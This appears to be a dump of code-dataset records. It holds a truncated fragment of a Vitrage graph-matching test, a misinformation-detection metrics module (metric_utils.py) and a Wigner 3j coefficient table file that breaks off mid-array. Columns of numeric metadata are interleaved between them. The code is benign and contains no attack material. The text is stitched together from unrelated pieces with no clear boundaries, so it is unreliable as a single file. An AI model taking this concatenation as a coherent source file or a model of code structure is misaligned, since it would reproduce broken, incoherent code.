if 'instance' in edge.target_id:
graph_alarm_edge = edge
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
# trigger on edge (that wasn't deleted) between vm and alarm
specific_alarm = alarms[1]
graph_alarm_edges = \
temp_entity_graph.get_edges(specific_alarm.vertex_id)
for edge in graph_alarm_edges:
if 'instance' in edge.target_id:
graph_alarm_edge = edge
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
# trigger on alarm
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_alarm, specific_alarm, True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
# trigger on instance
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_vm, vms[4], True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
@staticmethod
def _build_problematic_subgraph_in_entity_graph(alarm,
vm,
temp_entity_graph,
num):
stack_vertex = graph_utils.create_vertex(
vitrage_id='stack' + str(num),
vitrage_category=RESOURCE,
vitrage_type=HEAT_STACK_DATASOURCE)
temp_entity_graph.update_vertex(stack_vertex)
alarm_stack_edge = graph_utils.create_edge(
alarm.vertex_id, stack_vertex.vertex_id, ELabel.ON)
temp_entity_graph.update_edge(alarm_stack_edge)
network_vertex = graph_utils.create_vertex(
vitrage_id='network' + str(num),
vitrage_category=RESOURCE,
vitrage_type=NEUTRON_NETWORK_DATASOURCE)
temp_entity_graph.update_vertex(network_vertex)
network_stack_edge = graph_utils.create_edge(
network_vertex.vertex_id, stack_vertex.vertex_id, ELabel.CONNECT)
temp_entity_graph.update_edge(network_stack_edge)
network_vm_edge = graph_utils.create_edge(
network_vertex.vertex_id, vm.vertex_id, ELabel.CONNECT)
temp_entity_graph.update_edge(network_vm_edge)
| 44.4146
| 79
| 0.555043
| 6,757
| 62,669
| 4.813971
| 0.039367
| 0.060532
| 0.038275
| 0.028775
| 0.897411
| 0.872172
| 0.849053
| 0.815267
| 0.783971
| 0.755657
| 0
| 0.005042
| 0.338525
| 62,669
| 1,410
| 80
| 44.446099
| 0.779635
| 0.077471
| 0
| 0.748629
| 0
| 0
| 0.112654
| 0.001555
| 0
| 0
| 0
| 0
| 0.063071
| 1
| 0.007313
| false
| 0
| 0.010969
| 0
| 0.019196
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ed3eda028bd27771548d7a5ef003c2f5a541185c
| 7,700
|
py
|
Python
|
identify/metric_utils.py
|
TBiele/covid19-misinformation-telegram
|
90ce38ef7061f019ddd096a5feadbd16910ab677
|
[
"Apache-2.0"
] | 3
|
2021-11-26T23:13:13.000Z
|
2022-03-10T02:33:36.000Z
|
identify/metric_utils.py
|
TBiele/covid19-misinformation-telegram
|
90ce38ef7061f019ddd096a5feadbd16910ab677
|
[
"Apache-2.0"
] | null | null | null |
identify/metric_utils.py
|
TBiele/covid19-misinformation-telegram
|
90ce38ef7061f019ddd096a5feadbd16910ab677
|
[
"Apache-2.0"
] | 2
|
2022-02-16T11:06:47.000Z
|
2022-03-09T12:04:56.000Z
|
from collections import defaultdict
import numpy as np
import torch
def get_predictions(logits, threshold):
predictions = (logits.gt(threshold)).long()
return predictions
def compute_f1(logits, labels, threshold):
# [num_examples, num_misinfo]
predictions = get_predictions(logits, threshold)
# label is positive and predicted positive
i_tp = (predictions.eq(1).float() * labels.eq(1).float()).sum()
# label is not positive and predicted positive
i_fp = (predictions.eq(1).float() * labels.ne(1).float()).sum()
# label is positive and predicted negative
i_fn = (predictions.ne(1).float() * labels.eq(1).float()).sum()
i_precision = i_tp / (torch.clamp(i_tp + i_fp, 1.0))
i_recall = i_tp / torch.clamp(i_tp + i_fn, 1.0)
i_f1 = 2.0 * (i_precision * i_recall) / (torch.clamp(i_precision + i_recall, 0.0001))
return i_f1, i_precision, i_recall, predictions
def compute_threshold_f1(
scores,
labels,
threshold=None,
threshold_range=None,
threshold_min=-1.0,
threshold_max=1.0,
threshold_step=0.05
):
if threshold is None and threshold_range is None:
threshold_range = np.arange(
start=threshold_min,
stop=threshold_max,
step=threshold_step
)
elif threshold is not None:
threshold_range = [threshold]
max_f1 = float('-inf')
max_vals = None
for threshold in threshold_range:
f1, p, r, preds = compute_f1(scores, labels, threshold)
if f1 > max_f1:
max_f1 = f1
max_vals = f1, p, r, threshold, preds
return max_vals
def find_m_thresholds(emb_model, entities, relations, m_examples, m_entities, t_labels):
m_energies = defaultdict(list)
m_labels = defaultdict(list)
for t_id, t_emb in entities.items():
for m_id, m_emb in relations.items():
pos_t_ids = m_examples[m_id]
m_label = 1 if m_id in t_labels[t_id] else 0
p_e_embs = []
for pos_t_id in pos_t_ids:
p_e_emb = m_entities[pos_t_id]
p_e_embs.append(p_e_emb)
p_e_embs = torch.stack(p_e_embs, dim=0).mean(dim=0)
p_e = emb_model.energy(
head=t_emb,
rel=m_emb,
tail=p_e_embs
)
m_energies[m_id].append(p_e)
m_labels[m_id].append(m_label)
m_f_energies = {}
m_f_labels = {}
for m_id in m_energies:
m_f_energies[m_id] = torch.tensor(m_energies[m_id], dtype=torch.float)
m_f_labels[m_id] = torch.tensor(m_labels[m_id], dtype=torch.long)
m_thresholds = {}
for m_id, m_es in m_f_energies.items():
scores = -m_es
min_score = torch.min(scores).item()
max_score = torch.max(scores).item()
threshold_range = np.round(np.linspace(
min_score,
max_score,
num=100
), 4)
f1, p, r, threshold, m_preds = compute_threshold_f1(
scores,
m_f_labels[m_id],
threshold_range=threshold_range,
)
m_thresholds[m_id] = threshold
return m_thresholds
def find_mr_thresholds(emb_model, entities, relations, m_examples, m_entities, t_labels):
m_energies = defaultdict(list)
m_labels = defaultdict(list)
for t_id, t_emb in entities.items():
for m_id, m_emb in relations.items():
pos_t_ids = m_examples[m_id]
m_label = 1 if m_id in t_labels[t_id] else 0
p_e_embs = []
for pos_t_id in pos_t_ids:
p_e_emb = m_entities[pos_t_id]
p_e_embs.append(p_e_emb)
p_e_embs = torch.stack(p_e_embs, dim=0)
p_es = emb_model.energy(
head=t_emb.unsqueeze(dim=0),
rel=m_emb.unsqueeze(dim=0),
tail=p_e_embs
)
m_energies[m_id].extend(p_es)
m_labels[m_id].extend([m_label] * len(p_es))
m_f_energies = {}
m_f_labels = {}
for m_id in m_energies:
m_f_energies[m_id] = torch.tensor(m_energies[m_id], dtype=torch.float)
m_f_labels[m_id] = torch.tensor(m_labels[m_id], dtype=torch.long)
mr_thresholds = {}
for m_id, m_es in m_f_energies.items():
scores = -m_es
min_score = torch.min(scores).item()
max_score = torch.max(scores).item()
threshold_range = np.round(np.linspace(
min_score,
max_score,
num=100
), 4)
f1, p, r, threshold, m_preds = compute_threshold_f1(
scores,
m_f_labels[m_id],
threshold_range=threshold_range,
)
mr_thresholds[m_id] = threshold
return mr_thresholds
def find_mc_thresholds(emb_model, entities, relations, m_examples, m_entities, t_labels, mr_thresholds):
m_energies = defaultdict(list)
m_labels = defaultdict(list)
for t_id, t_emb in entities.items():
for m_id, m_emb in relations.items():
pos_t_ids = m_examples[m_id]
m_label = 1 if m_id in t_labels[t_id] else 0
p_e_embs = []
for pos_t_id in pos_t_ids:
p_e_emb = m_entities[pos_t_id]
p_e_embs.append(p_e_emb)
p_e_embs = torch.stack(p_e_embs, dim=0)
p_es = emb_model.energy(
head=t_emb.unsqueeze(dim=0),
rel=m_emb.unsqueeze(dim=0),
tail=p_e_embs
)
p_s = ((-p_es).gt(mr_thresholds[m_id])).float().mean()
m_energies[m_id].append(p_s)
m_labels[m_id].append(m_label)
m_f_energies = {}
m_f_labels = {}
for m_id in m_energies:
m_f_energies[m_id] = torch.tensor(m_energies[m_id], dtype=torch.float)
m_f_labels[m_id] = torch.tensor(m_labels[m_id], dtype=torch.long)
mc_thresholds = {}
for m_id, m_es in m_f_energies.items():
scores = m_es
min_score = torch.min(scores).item()
max_score = torch.max(scores).item()
threshold_range = np.round(np.linspace(
min_score,
max_score,
num=100
), 4)
f1, p, r, threshold, m_preds = compute_threshold_f1(
scores,
m_f_labels[m_id],
threshold_range=threshold_range,
)
mc_thresholds[m_id] = threshold
return mc_thresholds
def evaluate_m_thresholds(emb_model, entities, relations, m_examples, m_entities, t_labels, m_thresholds):
scores = []
labels = []
misinfo = []
for t_id, t_emb in entities.items():
for m_id, m_emb in relations.items():
pos_t_ids = m_examples[m_id]
m_label = 1 if m_id in t_labels[t_id] else 0
p_e_embs = []
for pos_t_id in pos_t_ids:
p_e_emb = m_entities[pos_t_id]
p_e_embs.append(p_e_emb)
p_e_embs = torch.stack(p_e_embs, dim=0).mean(dim=0)
p_e = emb_model.energy(
head=t_emb,
rel=m_emb,
tail=p_e_embs
)
p_s = (-p_e).gt(m_thresholds[m_id]).float()
scores.append(p_s)
labels.append(m_label)
misinfo.append(m_id)
scores = torch.tensor(scores, dtype=torch.float)
labels = torch.tensor(labels, dtype=torch.long)
min_score = torch.min(scores).item()
max_score = torch.max(scores).item()
threshold_range = np.round(np.linspace(
min_score,
max_score,
num=100
), 4)
# TODO compute f1 for each misinfo target
f1, p, r, threshold, preds = compute_threshold_f1(
scores,
labels,
threshold_range=threshold_range,
)
return f1, p, r, threshold, preds
def evaluate_mc_thresholds(emb_model, entities, relations, m_examples, m_entities, t_labels, mr_thresholds, mc_thresholds):
scores = []
labels = []
misinfo = []
for t_id, t_emb in entities.items():
for m_id, m_emb in relations.items():
pos_t_ids = m_examples[m_id]
m_label = 1 if m_id in t_labels[t_id] else 0
p_e_embs = []
for pos_t_id in pos_t_ids:
p_e_emb = m_entities[pos_t_id]
p_e_embs.append(p_e_emb)
p_e_embs = torch.stack(p_e_embs, dim=0)
p_es = emb_model.energy(
head=t_emb.unsqueeze(dim=0),
rel=m_emb.unsqueeze(dim=0),
tail=p_e_embs
)
p_s = ((-p_es).gt(mr_thresholds[m_id])).float().mean().gt(mc_thresholds[m_id]).float()
scores.append(p_s)
labels.append(m_label)
misinfo.append(m_id)
scores = torch.tensor(scores, dtype=torch.float)
labels = torch.tensor(labels, dtype=torch.long)
min_score = torch.min(scores).item()
max_score = torch.max(scores).item()
threshold_range = np.round(np.linspace(
min_score,
max_score,
num=100
), 4)
# TODO compute f1 for each misinfo target
f1, p, r, threshold, preds = compute_threshold_f1(
scores,
labels,
threshold_range=threshold_range,
)
return f1, p, r, threshold, preds
| 28.205128
| 123
| 0.708312
| 1,355
| 7,700
| 3.700369
| 0.079705
| 0.030515
| 0.029916
| 0.020742
| 0.825688
| 0.776227
| 0.763263
| 0.746709
| 0.741923
| 0.741923
| 0
| 0.01452
| 0.168182
| 7,700
| 272
| 124
| 28.308824
| 0.768306
| 0.03039
| 0
| 0.705882
| 0
| 0
| 0.000536
| 0
| 0
| 0
| 0
| 0.003676
| 0
| 1
| 0.033613
| false
| 0
| 0.012605
| 0
| 0.079832
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ed87a9bea71b84b15f2ca3751d83db02fef9ca92
| 186,615
|
py
|
Python
|
raffy/wigner3j.py
|
ClaudioZeni/Raffy
|
50817af872f84c946a956c86aaa8bf352bd74fce
|
[
"Apache-2.0"
] | null | null | null |
raffy/wigner3j.py
|
ClaudioZeni/Raffy
|
50817af872f84c946a956c86aaa8bf352bd74fce
|
[
"Apache-2.0"
] | null | null | null |
raffy/wigner3j.py
|
ClaudioZeni/Raffy
|
50817af872f84c946a956c86aaa8bf352bd74fce
|
[
"Apache-2.0"
] | null | null | null |
import numpy as np
# Wigner 3j coefficients generated for l = 1, 2, 3, 4 using sthe following code snippet:
# from sympy.physics.wigner import wigner_3j
# l_max = whatever
# m_max = 2*l_max-1
# w = np.zeros((l_max, l_max, l_max, m_max, m_max, m_max))
# for l1 in range(l_max):
# for l2 in range(l_max):
# for l3 in range(l_max):
# for m1 in range(m_max):
# for m2 in range(m_max):
# for m3 in range(m_max):
# w[l1, l2, l3, m1, m2, m3] = wigner_3j(l1, l2, l3, m1-l_max+1, m2-l_max+1, m3-l_max+1)
w1 = np.array([[[[[[1.]]]]]])
w2 = np.array([[[[[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , 1. , 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0.57735027],
[ 0. , -0.57735027, 0. ],
[ 0.57735027, 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]]]]],
[[[[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. ],
[ 0. , 0. , 0.57735027],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , -0.57735027, 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0. , 0. ],
[ 0.57735027, 0. , 0. ],
[ 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0.57735027, 0. ]],
[[ 0. , 0. , 0. ],
[ 0. , -0.57735027, 0. ],
[ 0. , 0. , 0. ]],
[[ 0. , 0.57735027, 0. ],
[ 0. , 0. , 0. ],
[ 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. ],
[ 0. , 0. , 0.40824829],
[ 0. , -0.40824829, 0. ]],
[[ 0. , 0. , -0.40824829],
[ 0. , 0. , 0. ],
[ 0.40824829, 0. , 0. ]],
[[ 0. , 0.40824829, 0. ],
[-0.40824829, 0. , 0. ],
[ 0. , 0. , 0. ]]]]]])
w3 = np.array([[[[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 1. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.57735027, 0. ],
[ 0. , 0. , -0.57735027, 0. , 0. ],
[ 0. , 0.57735027, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0.4472136 ],
[ 0. , 0. , 0. , -0.4472136 , 0. ],
[ 0. , 0. , 0.4472136 , 0. , 0. ],
[ 0. , -0.4472136 , 0. , 0. , 0. ],
[ 0.4472136 , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]]]],
[[[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.57735027, 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.57735027, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0.57735027, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
